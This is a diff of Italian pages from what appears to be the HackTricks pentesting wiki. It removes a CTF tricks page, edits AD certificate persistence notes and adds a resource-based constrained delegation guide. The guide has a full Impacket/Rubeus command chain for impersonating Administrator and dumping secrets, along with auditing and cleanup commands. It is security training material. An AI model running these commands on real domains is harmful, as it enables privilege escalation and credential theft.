 - Non instradare pad di test facili; seppellire via di test, rimuovere/popolare resistori per isolare TAP, utilizzare connettori con chiavi o fixture a pogo-pin.
 - Blocco del debug all'accensione: controlla il TAP dietro ROM iniziali che impongono l'avvio sicuro.

src/todo/misc.md

@@ -1,56 +0,0 @@
-{{#include ../banners/hacktricks-training.md}}
-
-In una risposta ping TTL:\
-127 = Windows\
-254 = Cisco\
-Il resto, qualche linux
-
-$1$- md5\
-$2$o $2a$ - Blowfish\
-$5$- sha256\
-$6$- sha512
-
-Se non sai cosa c'è dietro un servizio, prova a fare una richiesta HTTP GET.
-
-**Scansioni UDP**\
-nc -nv -u -z -w 1 \<IP> 160-16
-
-Un pacchetto UDP vuoto viene inviato a una porta specifica. Se la porta UDP è aperta, non viene inviata alcuna risposta dalla macchina target. Se la porta UDP è chiusa, un pacchetto ICMP di porta irraggiungibile dovrebbe essere inviato indietro dalla macchina target.\
-
-La scansione delle porte UDP è spesso inaffidabile, poiché i firewall e i router possono scartare i pacchetti ICMP.\
-Questo può portare a falsi positivi nella tua scansione, e vedrai regolarmente scansioni di porte UDP che mostrano tutte le porte UDP aperte su una macchina scansionata.\
-La maggior parte degli scanner di porte non scansiona tutte le porte disponibili e di solito ha un elenco preimpostato di “porte interessanti” che vengono scansionate.
-
-# CTF - Tricks
-
-In **Windows** usa **Winzip** per cercare file.\
-**Stream di dati alternativi**: _dir /r | find ":$DATA"_\
-```
-binwalk --dd=".*" <file> #Extract everything
-binwalk -M -e -d=10000 suspicious.pdf #Extract, look inside extracted files and continue extracing (depth of 10000)
-```
-## Crypto
-
-**featherduster**\
-
-**Basae64**(6—>8) —> 0...9, a...z, A…Z,+,/\
-**Base32**(5 —>8) —> A…Z, 2…7\
-**Base85** (Ascii85, 7—>8) —> 0...9, a...z, A...Z, ., -, :, +, =, ^, !, /, \*, ?, &, <, >, (, ), \[, ], {, }, @, %, $, #\
-**Uuencode** --> Inizia con "_begin \<mode> \<filename>_" e caratteri strani\
-**Xxencoding** --> Inizia con "_begin \<mode> \<filename>_" e B64\
-\
-**Vigenere** (analisi della frequenza) —> [https://www.guballa.de/vigenere-solver](https://www.guballa.de/vigenere-solver)\
-**Scytale** (offset dei caratteri) —> [https://www.dcode.fr/scytale-cipher](https://www.dcode.fr/scytale-cipher)
-
-**25x25 = QR**
-
-factordb.com\
-rsatool
-
-Snow --> Nascondi messaggi usando spazi e tabulazioni
-
-# Characters
-
-%E2%80%AE => Carattere RTL (scrive i payload all'indietro)
-
-{{#include ../banners/hacktricks-training.md}}

src/windows-hardening/active-directory-methodology/ad-certificates/account-persistence.md

@@ -4,7 +4,7 @@
 
 **Questo è un piccolo riassunto dei capitoli sulla persistenza degli account della fantastica ricerca di [https://specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)**
 
-## Comprendere il Furto delle Credenziali Utente Attive con i Certificati – PERSIST1
+## Comprendere il Furto di Credenziali Utente Attive con Certificati – PERSIST1
 
 In uno scenario in cui un certificato che consente l'autenticazione del dominio può essere richiesto da un utente, un attaccante ha l'opportunità di richiedere e rubare questo certificato per mantenere la persistenza su una rete. Per impostazione predefinita, il modello `User` in Active Directory consente tali richieste, anche se a volte può essere disabilitato.
 
@@ -46,7 +46,7 @@ Rubeus.exe asktgt /user:HOSTNAME$ /certificate:C:\Temp\host.pfx /password:Passw0
 ```
 ## Estensione della Persistenza Tramite Rinnovo del Certificato - PERSIST3
 
-Abusare dei periodi di validità e rinnovo dei modelli di certificato consente a un attaccante di mantenere l'accesso a lungo termine. Se possiedi un certificato precedentemente emesso e la sua chiave privata, puoi rinnovarlo prima della scadenza per ottenere una nuova credenziale a lungo termine senza lasciare ulteriori artefatti di richiesta legati al principale originale.
+Abusare dei periodi di validità e rinnovo dei modelli di certificato consente a un attaccante di mantenere l'accesso a lungo termine. Se possiedi un certificato emesso in precedenza e la sua chiave privata, puoi rinnovarlo prima della scadenza per ottenere una nuova credenziale a lungo termine senza lasciare ulteriori artefatti di richiesta legati al principale originale.
 ```bash
 # Renewal with Certipy (works with RPC/DCOM/WebEnrollment)
 # Provide the existing PFX and target the same CA/template when possible
@@ -65,7 +65,7 @@ Se puoi scrivere nell'attributo `altSecurityIdentities` di un account target, pu
 
 Flusso ad alto livello:
 
-1. Ottieni o emetti un certificato di autenticazione client che controlli (ad es., iscriviti al modello `User` come te stesso).
+1. Ottieni o emetti un certificato di autenticazione client che controlli (ad es., iscrivi il template `User` come te stesso).
 2. Estrai un identificatore forte dal certificato (Issuer+Serial, SKI o SHA1-PublicKey).
 3. Aggiungi una mappatura esplicita sull'`altSecurityIdentities` del principale vittima utilizzando quell'identificatore.
 4. Autenticati con il tuo certificato; il DC lo mappa alla vittima tramite la mappatura esplicita.

src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md

@@ -9,11 +9,11 @@ Questo è simile alla base [Constrained Delegation](constrained-delegation.md) m
 
 In questo caso, l'oggetto vincolato avrà un attributo chiamato _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ con il nome dell'utente che può impersonare qualsiasi altro utente contro di esso.
 
-Un'altra importante differenza tra questa Constrained Delegation e le altre deleghe è che qualsiasi utente con **permessi di scrittura su un account macchina** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) può impostare il **_msDS-AllowedToActOnBehalfOfOtherIdentity_** (Nelle altre forme di Delegation erano necessari privilegi di amministratore di dominio).
+Un'altra importante differenza tra questa Constrained Delegation e le altre deleghe è che qualsiasi utente con **permessi di scrittura su un account macchina** (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) può impostare il **_msDS-AllowedToActOnBehalfOfOtherIdentity_** (nelle altre forme di Delegation erano necessari privilegi di amministratore di dominio).
 
 ### New Concepts
 
-Nella Constrained Delegation è stato detto che il **`TrustedToAuthForDelegation`** flag all'interno del valore _userAccountControl_ dell'utente è necessario per eseguire un **S4U2Self.** Ma non è completamente vero.\
+Tornando alla Constrained Delegation, si è detto che il **`TrustedToAuthForDelegation`** flag all'interno del valore _userAccountControl_ dell'utente è necessario per eseguire un **S4U2Self.** Ma non è completamente vero.\
 La realtà è che anche senza quel valore, puoi eseguire un **S4U2Self** contro qualsiasi utente se sei un **servizio** (hai un SPN) ma, se hai **`TrustedToAuthForDelegation`** il TGS restituito sarà **Forwardable** e se **non hai** quel flag il TGS restituito **non sarà** **Forwardable**.
 
 Tuttavia, se il **TGS** utilizzato in **S4U2Proxy** **NON è Forwardable**, cercare di abusare di una **basic Constrain Delegation** **non funzionerà**. Ma se stai cercando di sfruttare una **Resource-Based constrain delegation, funzionerà**.
@@ -70,7 +70,7 @@ msds-allowedtoactonbehalfofotheridentity
 ----------------------------------------
 {1, 0, 4, 128...}
 ```
-### Eseguire un attacco S4U completo
+### Eseguire un attacco S4U completo (Windows/Rubeus)
 
 Prima di tutto, abbiamo creato il nuovo oggetto Computer con la password `123456`, quindi abbiamo bisogno dell'hash di quella password:
 ```bash
@@ -88,7 +88,31 @@ rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:admin
 > [!CAUTION]
 > Nota che gli utenti hanno un attributo chiamato "**Non può essere delegato**". Se un utente ha questo attributo impostato su Vero, non sarai in grado di impersonarlo. Questa proprietà può essere vista all'interno di bloodhound.
 
-### Accessing
+### Linux tooling: end-to-end RBCD with Impacket (2024+)
+
+Se operi da Linux, puoi eseguire l'intera catena RBCD utilizzando gli strumenti ufficiali di Impacket:
+```bash
+# 1) Create attacker-controlled machine account (respects MachineAccountQuota)
+impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!'
+
+# 2) Grant RBCD on the target computer to FAKE01$
+#    -action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity
+impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -dc-ip 192.168.56.10 -action write 'domain.local/jdoe:Summer2025!'
+
+# 3) Request an impersonation ticket (S4U2Self+S4U2Proxy) for a privileged user against the victim service
+impacket-getST -spn cifs/victim.domain.local -impersonate Administrator -dc-ip 192.168.56.10 'domain.local/FAKE01$:P@ss123'
+
+# 4) Use the ticket (ccache) against the target service
+export KRB5CCNAME=$(pwd)/Administrator.ccache
+# Example: dump local secrets via Kerberos (no NTLM)
+impacket-secretsdump -k -no-pass Administrator@victim.domain.local
+```
+Note
+- Se la firma LDAP/LDAPS è obbligatoria, usa `impacket-rbcd -use-ldaps ...`.
+- Preferisci le chiavi AES; molti domini moderni limitano RC4. Impacket e Rubeus supportano entrambi flussi solo AES.
+- Impacket può riscrivere il `sname` ("AnySPN") per alcuni strumenti, ma ottieni il corretto SPN ogni volta che è possibile (ad es., CIFS/LDAP/HTTP/HOST/MSSQLSvc).
+
+### Accesso
 
 L'ultima riga di comando eseguirà il **completo attacco S4U e inietterà il TGS** dall'Amministratore all'host vittima in **memoria**.\
 In questo esempio è stato richiesto un TGS per il servizio **CIFS** dall'Amministratore, quindi sarai in grado di accedere a **C$**:
@@ -97,17 +121,72 @@ ls \\victim.domain.local\C$
 ```
 ### Abuso di diversi ticket di servizio
 
-Scopri i [**ticket di servizio disponibili qui**](silver-ticket.md#available-services).
+Scopri di più sui [**ticket di servizio disponibili qui**](silver-ticket.md#available-services).
 
+## Enumerazione, auditing e pulizia
+
+### Enumerare i computer con RBCD configurato
+
+PowerShell (decodifica il SD per risolvere gli SID):
+```powershell
+# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals
+Import-Module ActiveDirectory
+Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
+Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } |
+ForEach-Object {
+$raw = $_."msDS-AllowedToActOnBehalfOfOtherIdentity"
+$sd  = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $raw, 0
+$sd.DiscretionaryAcl | ForEach-Object {
+$sid  = $_.SecurityIdentifier
+try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $name = $sid.Value }
+[PSCustomObject]@{ Computer=$_.ObjectDN; Principal=$name; SID=$sid.Value; Rights=$_.AccessMask }
+}
+}
+```
+Impacket (leggi o svuota con un comando):
+```bash
+# Read who can delegate to VICTIM
+impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!'
+```
+### Pulizia / ripristino RBCD
+
+- PowerShell (cancellare l'attributo):
+```powershell
+Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity'
+# Or using the friendly property
+Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount $null
+```
+- Impacket:
+```bash
+# Remove a specific principal from the SD
+impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -action remove 'domain.local/jdoe:Summer2025!'
+# Or flush the whole list
+impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025!'
+```
 ## Errori di Kerberos
 
-- **`KDC_ERR_ETYPE_NOTSUPP`**: Questo significa che kerberos è configurato per non utilizzare DES o RC4 e stai fornendo solo l'hash RC4. Fornisci a Rubeus almeno l'hash AES256 (o fornisci semplicemente gli hash rc4, aes128 e aes256). Esempio: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
+- **`KDC_ERR_ETYPE_NOTSUPP`**: Questo significa che kerberos è configurato per non utilizzare DES o RC4 e stai fornendo solo l'hash RC4. Fornisci a Rubeus almeno l'hash AES256 (o fornisci gli hash rc4, aes128 e aes256). Esempio: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())`
 - **`KRB_AP_ERR_SKEW`**: Questo significa che l'ora del computer attuale è diversa da quella del DC e kerberos non sta funzionando correttamente.
-- **`preauth_failed`**: Questo significa che il nome utente + hash forniti non funzionano per il login. Potresti aver dimenticato di mettere il "$" all'interno del nome utente quando hai generato gli hash (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
+- **`preauth_failed`**: Questo significa che il nome utente + hash forniti non funzionano per il login. Potresti aver dimenticato di mettere il "$" all'interno del nome utente durante la generazione degli hash (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`)
 - **`KDC_ERR_BADOPTION`**: Questo può significare:
-  - L'utente che stai cercando di impersonare non può accedere al servizio desiderato (perché non puoi impersonarlo o perché non ha privilegi sufficienti)
-  - Il servizio richiesto non esiste (se chiedi un ticket per winrm ma winrm non è in esecuzione)
-  - Il computer fittizio creato ha perso i suoi privilegi sul server vulnerabile e devi restituirli.
+- L'utente che stai cercando di impersonare non può accedere al servizio desiderato (perché non puoi impersonarlo o perché non ha privilegi sufficienti)
+- Il servizio richiesto non esiste (se chiedi un ticket per winrm ma winrm non è in esecuzione)
+- Il computer fittizio creato ha perso i suoi privilegi sul server vulnerabile e devi ripristinarli.
+- Stai abusando del KCD classico; ricorda che RBCD funziona con ticket S4U2Self non trasferibili, mentre KCD richiede ticket trasferibili.
+
+## Note, relay e alternative
+
+- Puoi anche scrivere il RBCD SD su AD Web Services (ADWS) se LDAP è filtrato. Vedi:
+
+{{#ref}}
+adws-enumeration.md
+{{#endref}}
+
+- Le catene di relay di Kerberos finiscono frequentemente in RBCD per ottenere SYSTEM locale in un solo passaggio. Vedi esempi pratici end-to-end:
+
+{{#ref}}
+../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
+{{#endref}}
 
 ## Riferimenti
 
@@ -116,5 +195,7 @@ Scopri i [**ticket di servizio disponibili qui**](silver-ticket.md#available-ser
 - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object)
 - [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/)
 - [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61)
+- Impacket rbcd.py (ufficiale): https://github.com/fortra/impacket/blob/master/examples/rbcd.py
+- Quick Linux cheatsheet with recent syntax: https://tldrbins.github.io/rbcd/
 
 {{#include ../../banners/hacktricks-training.md}}